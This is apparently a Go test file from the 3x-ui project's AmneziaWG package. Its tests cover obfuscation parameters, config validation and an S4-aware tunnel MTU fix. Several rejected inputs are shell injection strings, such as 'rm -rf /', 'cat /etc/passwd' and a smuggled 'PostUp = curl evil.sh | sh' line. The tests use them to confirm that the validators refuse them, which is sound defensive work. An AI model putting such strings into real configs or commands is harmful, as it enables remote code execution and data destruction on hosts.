Files
3x-ui/internal/amneziawg/params_test.go
T
YoungReckless4 3cd3836d77 fix(amneziawg): account for S4 junk in the default tunnel MTU (#6376)
* fix(amneziawg): account for S4 junk in the default tunnel MTU

amneziawg prepends S4 random bytes to every transport packet
(device.NewOutboundElement) and, unlike content padding and random trailers,
never clamps them against the tunnel MTU. A full-size packet therefore lands on
the wire at MTU + 60 + S4 bytes: 20 IPv4 + 8 UDP + S4 + 16 transport header +
16 poly1305 tag.

With the 1420 default that overflows a 1500-byte link once S4 exceeds 20, and
GenerateObfuscation31 draws S4 from 12..27 inclusive -- so roughly 44% of newly
created inbounds fragment every full-size packet they send.

Measured on a live pair of interfaces, predicted against observed:

    MTU 1380  S4 12  ->  1452 on the wire   (fits)
    MTU 1420  S4 12  ->  1492               (fits)
    MTU 1420  S4 20  ->  1500               (exactly at the limit)
    MTU 1420  S4 21  ->  1501               (fragments)
    MTU 1420  S4 27  ->  1507               (fragments)

EffectiveMTU now subtracts S4 from the default; an explicit MTU is untouched.

Client configs carry the same number. They previously omitted the MTU line
whenever the server had no explicit value, which left the client on its own
1420 default and fragmented the client-to-server direction even after the
server side was fixed -- silently, and only in one direction. All three
emitters (the Go subscription text and the two TypeScript ones) now agree,
which is what the existing parity test exists to protect.

* fix(amneziawg): rebuild the device when S4 changes the derived MTU

Addresses review feedback on the previous commit.

Deriving the default MTU from S4 made a construction-time-only property depend
on a hot-reloadable input, but addressFingerprint -- ensureLocked's only rebuild
trigger -- still hashed the raw inst.MTU. S4 is a UAPI field, so an S4-only edit
took the in-place IpcSet branch and the gVisor netstack kept the MTU derived
from the old S4 while all three client emitters already advertised the new one.

Every panel-created inbound leaves mtu unset, so that was the normal case, not
an edge one: with S4 raised far enough the fragmentation this fix exists to
remove came straight back, and stayed until a panel restart or an unrelated
address edit.

Folding EffectiveMTU into the fingerprint fixes it. An explicit MTU still takes
the in-place branch on an S4 edit, since it does not move the interface MTU.

Also trims four comment blocks to the 2-line cap in CLAUDE.md, and points
NewDevice's doc comment at EffectiveMTU instead of the deleted defaultMTU.
2026-09-08 16:55:32 +02:00

473 lines
15 KiB
Go

package amneziawg
import (
"encoding/base64"
"strconv"
"strings"
"testing"
)
func TestGenerateObfuscation31DefaultRanges(t *testing.T) {
for range 200 {
o := GenerateObfuscation31()
if o.Jc < 3 || o.Jc > 6 {
t.Fatalf("Jc = %d, want [3,6]", o.Jc)
}
if o.Jmin < 40 || o.Jmin > 89 {
t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
}
if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
}
if o.S1 < 15 || o.S1 > 150 {
t.Fatalf("S1 = %d, want [15,150]", o.S1)
}
if o.S2 < 15 || o.S2 > 150 {
t.Fatalf("S2 = %d, want [15,150]", o.S2)
}
if o.S1+56 == o.S2 {
t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
}
if o.S3 < 12 || o.S3 > 55 {
t.Fatalf("S3 = %d, want [12,55]", o.S3)
}
if o.S4 < 12 || o.S4 > 27 {
t.Fatalf("S4 = %d, want [12,27]", o.S4)
}
if o.HeaderProtectionKey != "" {
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("generated set failed its own validation: %v", err)
}
}
for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
if err := validateUintRange(h, 0); err != nil {
t.Fatalf("%s = %q invalid: %v", name, h, err)
}
if h == "" {
t.Fatalf("%s is empty, want a generated range", name)
}
}
if !strings.HasPrefix(o.I1, "<r ") || !strings.HasSuffix(o.I1, ">") {
t.Fatalf("I1 = %q, want \"<r N>\" form", o.I1)
}
n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, "<r "), ">"))
if err != nil || n < 32 || n > 256 {
t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
}
for name, v := range map[string]string{"I2": o.I2, "I3": o.I3, "I4": o.I4, "I5": o.I5} {
if v != "" {
t.Fatalf("%s = %q, generated sets must leave I2-I5 empty", name, v)
}
}
key, err := base64.StdEncoding.DecodeString(o.HeaderProtectionKey)
if err != nil || len(key) != 32 {
t.Fatalf("HeaderProtectionKey = %q, must be base64 of 32 bytes (err=%v)", o.HeaderProtectionKey, err)
}
assertRangeWithin(t, "ContentPaddingAddition", o.ContentPaddingAddition, 8, 64)
rkLo, rkHi := assertRangeWithin(t, "RekeyAfterTime", o.RekeyAfterTime, 100, 160)
if rkHi-rkLo < 10 || rkHi-rkLo > 40 {
t.Fatalf("RekeyAfterTime = %q, width must be in [10,40]", o.RekeyAfterTime)
}
rjLo, _ := assertRangeWithin(t, "RejectAfterTime", o.RejectAfterTime, 130, 310)
if rjLo < rkHi+30 {
t.Fatalf("RejectAfterTime = %q must start >= 30s above RekeyAfterTime max %d", o.RejectAfterTime, rkHi)
}
assertRangeWithin(t, "RekeyTimeout", o.RekeyTimeout, 3, 10)
assertRangeWithin(t, "KeepaliveTimeout", o.KeepaliveTimeout, 8, 20)
assertRangeWithin(t, "MaxHandshakeAttempts", o.MaxHandshakeAttempts, 15, 50)
if !o.RandomTrailers || !o.DisableCookies {
t.Fatalf("RandomTrailers/DisableCookies = %v/%v, generated sets default both on", o.RandomTrailers, o.DisableCookies)
}
}
}
// assertRangeWithin parses a "lo-hi" value and fails unless
// min <= lo <= hi <= max, returning the parsed bounds.
func assertRangeWithin(t *testing.T, name, v string, min, max int64) (lo, hi int64) {
t.Helper()
lo, hi, ok := parseUintRange(v)
if !ok || !strings.Contains(v, "-") {
t.Fatalf("%s = %q, want a lo-hi range", name, v)
}
if lo < min || hi > max || lo > hi {
t.Fatalf("%s = %q, want %d <= lo <= hi <= %d", name, v, min, max)
}
return lo, hi
}
func TestGenerateHValuesDistinct(t *testing.T) {
for range 50 {
h := generateHValues()
var prev int64
for i, v := range h {
n, err := strconv.ParseInt(v, 10, 64)
if err != nil {
t.Fatalf("H%d = %q is not a plain integer: %v", i+1, v, err)
}
if n <= prev {
t.Fatalf("H%d = %q is not strictly greater than the previous value (%d)", i+1, v, prev)
}
prev = n
}
}
}
func validObfuscation() Obfuscation31 {
return GenerateObfuscation31()
}
func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
for range 50 {
if err := ValidateObfuscation(validObfuscation()); err != nil {
t.Fatalf("generated obfuscation set rejected: %v", err)
}
}
}
func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
o := validObfuscation()
o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
}
}
func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
o := validObfuscation()
o.Jmin, o.Jmax = 50, 10
if err := ValidateObfuscation(o); err == nil {
t.Fatal("Jmin > Jmax must be rejected")
}
}
func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
o := validObfuscation()
o.S3 = 65
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S3 > 64 must be rejected")
}
o = validObfuscation()
o.S4 = 33
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S4 > 32 must be rejected")
}
o = validObfuscation()
o.S3, o.S4 = -1, -1
if err := ValidateObfuscation(o); err == nil {
t.Fatal("negative S3/S4 must be rejected")
}
}
func TestValidateObfuscationRejectsLowSWithHeaderProtection(t *testing.T) {
for field, set := range map[string]func(o *Obfuscation31){
"S1": func(o *Obfuscation31) { o.S1 = 11 },
"S2": func(o *Obfuscation31) { o.S2 = 11 },
"S3": func(o *Obfuscation31) { o.S3 = 11 },
"S4": func(o *Obfuscation31) { o.S4 = 11 },
} {
o := validObfuscation()
set(&o)
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("%s = 11 with a header protection key set must be rejected", field)
}
}
o := validObfuscation()
o.HeaderProtectionKey = ""
o.S3, o.S4 = 8, 4
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("S3/S4 below 12 with no header protection key must be accepted: %v", err)
}
}
func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
o := validObfuscation()
o.S1 = 30
o.S2 = o.S1 + 56
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
}
}
func TestValidateObfuscationRejectsBadH(t *testing.T) {
cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
for _, h := range cases {
o := validObfuscation()
o.H1 = h
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("H1 = %q must be rejected", h)
}
}
}
func TestValidateObfuscationAcceptsEmpty31Fields(t *testing.T) {
o := validObfuscation()
o.HeaderProtectionKey = ""
o.ContentPaddingAddition = ""
o.RekeyAfterTime, o.RekeyTimeout, o.RejectAfterTime = "", "", ""
o.KeepaliveTimeout, o.MaxHandshakeAttempts = "", ""
o.RandomTrailers, o.DisableCookies = false, false
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("all-empty 3.1 fields must be accepted (features off): %v", err)
}
}
func TestValidateObfuscationRejectsBadTimingRanges(t *testing.T) {
cases := []struct {
name string
mutate func(o *Obfuscation31)
}{
{"zero rekeyTimeout", func(o *Obfuscation31) { o.RekeyTimeout = "0" }},
{"zero-low range", func(o *Obfuscation31) { o.KeepaliveTimeout = "0-10" }},
{"inverted range", func(o *Obfuscation31) { o.RekeyAfterTime = "160-100" }},
{"non-numeric", func(o *Obfuscation31) { o.MaxHandshakeAttempts = "many" }},
{"trailing dash", func(o *Obfuscation31) { o.RejectAfterTime = "200-" }},
{"rekey max not below reject min", func(o *Obfuscation31) {
o.RekeyAfterTime = "100-200"
o.RejectAfterTime = "200-300"
}},
{"single rekey value at reject min", func(o *Obfuscation31) {
o.RekeyAfterTime = "180"
o.RejectAfterTime = "180-300"
}},
{"embedded newline splits the config line", func(o *Obfuscation31) {
o.RekeyAfterTime = "110\n-140"
o.RejectAfterTime = "190-250"
}},
{"reject alone below the 120s default rekey", func(o *Obfuscation31) {
o.RekeyAfterTime = ""
o.RejectAfterTime = "30-60"
}},
{"rekey alone above the 180s default reject", func(o *Obfuscation31) {
o.RekeyAfterTime = "200-300"
o.RejectAfterTime = ""
}},
}
for _, c := range cases {
o := validObfuscation()
c.mutate(&o)
if err := ValidateObfuscation(o); err == nil {
t.Errorf("%s must be rejected", c.name)
}
}
}
func TestValidateObfuscationRejectsBadHeaderProtectionKey(t *testing.T) {
cases := []struct {
name string
key string
}{
{"not base64", "not!!!base64"},
{"16-byte key", base64.StdEncoding.EncodeToString(make([]byte, 16))},
{"33-byte key", base64.StdEncoding.EncodeToString(make([]byte, 33))},
{"control characters", "AAAA\nBBBB"},
// DecodeString IGNORES \r\n, so this decodes to a valid 32 bytes —
// only the explicit control-character check can catch the line wrap.
{"line-wrapped but decodable key", "MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="},
}
for _, c := range cases {
o := validObfuscation()
o.HeaderProtectionKey = c.key
if err := ValidateObfuscation(o); err == nil {
t.Errorf("headerProtectionKey %s (%q) must be rejected", c.name, c.key)
}
}
}
func TestCanonicalizeUintRange(t *testing.T) {
cases := []struct{ in, want string }{
{"110 - 140", "110-140"},
{" 120 ", "120"},
{" ", ""},
{"", ""},
{"110-140", "110-140"},
}
for _, c := range cases {
if got := CanonicalizeUintRange(c.in); got != c.want {
t.Errorf("CanonicalizeUintRange(%q) = %q, want %q", c.in, got, c.want)
}
}
}
func TestValidateObfuscationAcceptsSingleValueRanges(t *testing.T) {
o := validObfuscation()
o.ContentPaddingAddition = "32"
o.RekeyAfterTime = "120"
o.RejectAfterTime = "180"
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("single-integer values must be accepted like the awg parser does: %v", err)
}
}
func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
if err := ValidateInterfaceName(name); err != nil {
t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
}
}
}
func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
cases := []string{
"eth0 -j ACCEPT; rm -rf /",
"eth0`whoami`",
"eth0$(id)",
"eth0|cat /etc/passwd",
"eth0\nMASQUERADE",
"aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
}
for _, name := range cases {
if err := ValidateInterfaceName(name); err == nil {
t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
}
}
}
func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
cases := []struct {
ip string
cidr int
}{
{"10.8.1.0", 24},
{"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
{"192.168.5.10", 32},
}
for _, c := range cases {
if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
}
}
}
func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
cases := []struct {
ip string
cidr int
}{
{"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
{"not-an-ip", 24},
{"", 24},
{"fd86::1", 64}, // IPv6, not IPv4
{"10.8.1.0", 33}, // cidr out of range
}
for _, c := range cases {
if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
}
}
}
func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
for _, v := range []string{"", "user@example.com", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
if err := ValidateConfigValue("email", v); err != nil {
t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
}
}
}
func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
cases := []string{
"a@x\nPostUp = curl evil.sh | sh",
"a@x\r\n[Interface]",
"tab\there",
"a@x\x7f",
}
for _, v := range cases {
if err := ValidateConfigValue("email", v); err == nil {
t.Errorf("ValidateConfigValue(%q) must be rejected", v)
}
}
}
// The plain 1420 default left no headroom for s4: it put full-size packets at
// 1480+S4 on the wire and fragmented every one of them once S4 passed 20.
func TestEffectiveMTUKeepsFullSizePacketsUnfragmented(t *testing.T) {
t.Parallel()
// 20 IPv4 + 8 UDP + 16 transport header + 16 poly1305 tag.
const encapOverhead = 60
const hostLinkMTU = 1500
for s4 := 0; s4 <= 32; s4++ {
mtu := EffectiveMTU(0, s4)
if wire := mtu + encapOverhead + s4; wire > hostLinkMTU {
t.Errorf("s4=%d: MTU %d puts a full-size transport packet at %d bytes on the wire, over the %d-byte host link", s4, mtu, wire, hostLinkMTU)
}
}
}
// TestEffectiveMTUPrefersTheAdminsValue: the S4-aware default is a fallback,
// not an override -- an explicit MTU must survive untouched.
func TestEffectiveMTUPrefersTheAdminsValue(t *testing.T) {
t.Parallel()
if got := EffectiveMTU(1380, 27); got != 1380 {
t.Errorf("EffectiveMTU(1380, 27) = %d, want the configured 1380", got)
}
if got := EffectiveMTU(0, 27); got != DefaultMTU-27 {
t.Errorf("EffectiveMTU(0, 27) = %d, want %d", got, DefaultMTU-27)
}
if got := EffectiveMTU(0, 0); got != DefaultMTU {
t.Errorf("EffectiveMTU(0, 0) = %d, want %d", got, DefaultMTU)
}
if got := EffectiveMTU(-5, 12); got != DefaultMTU-12 {
t.Errorf("a nonsense configured MTU must fall back, got %d", got)
}
}
// TestValidateObfuscationRejectsOutOfRangeJunkAndPadding pins the widths
// amneziawg-go's UAPI actually parses: uint32 for jc/jmin/jmax, uint16 for s1-s4.
func TestValidateObfuscationRejectsOutOfRangeJunkAndPadding(t *testing.T) {
base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
tests := []struct {
name string
mut func(*Obfuscation31)
}{
{"S1 over uint16", func(o *Obfuscation31) { o.S1 = 65536 }},
{"S2 over uint16", func(o *Obfuscation31) { o.S2 = 70000 }},
{"negative Jc", func(o *Obfuscation31) { o.Jc = -1 }},
{"negative Jmin and Jmax", func(o *Obfuscation31) { o.Jmin, o.Jmax = -5, -1 }},
{"Jc over uint32", func(o *Obfuscation31) { o.Jc = 5000000000 }},
{"negative S1", func(o *Obfuscation31) { o.S1 = -1 }},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
o := base
tt.mut(&o)
if err := ValidateObfuscation(o); err == nil {
t.Fatal("ValidateObfuscation accepted a value amneziawg-go's UAPI parser rejects, so the inbound would save and then fail to apply")
}
})
}
if err := ValidateObfuscation(Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 65535, S2: 30, S3: 20, S4: 20}); err != nil {
t.Fatalf("S1 at the uint16 maximum must stay valid: %v", err)
}
}
// TestValidateObfuscationRejectsMalformedSignaturePackets covers I1-I5, whose
// "<tag value>" chain amneziawg-go parses with newObfChain (device/obf.go).
func TestValidateObfuscationRejectsMalformedSignaturePackets(t *testing.T) {
base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
bad := []string{"<rand 100>", "<r 100", "<>", "< >", "<r 10><nope 2>"}
for _, spec := range bad {
t.Run("reject "+spec, func(t *testing.T) {
o := base
o.I1 = spec
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("ValidateObfuscation accepted I1=%q, which newObfChain rejects", spec)
}
})
}
good := []string{"", "<r 100>", "<b ff00><r 10>", "<t><rc 5>", "no tags at all"}
for _, spec := range good {
t.Run("accept "+spec, func(t *testing.T) {
o := base
o.I5 = spec
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("ValidateObfuscation rejected valid I5=%q: %v", spec, err)
}
})
}
}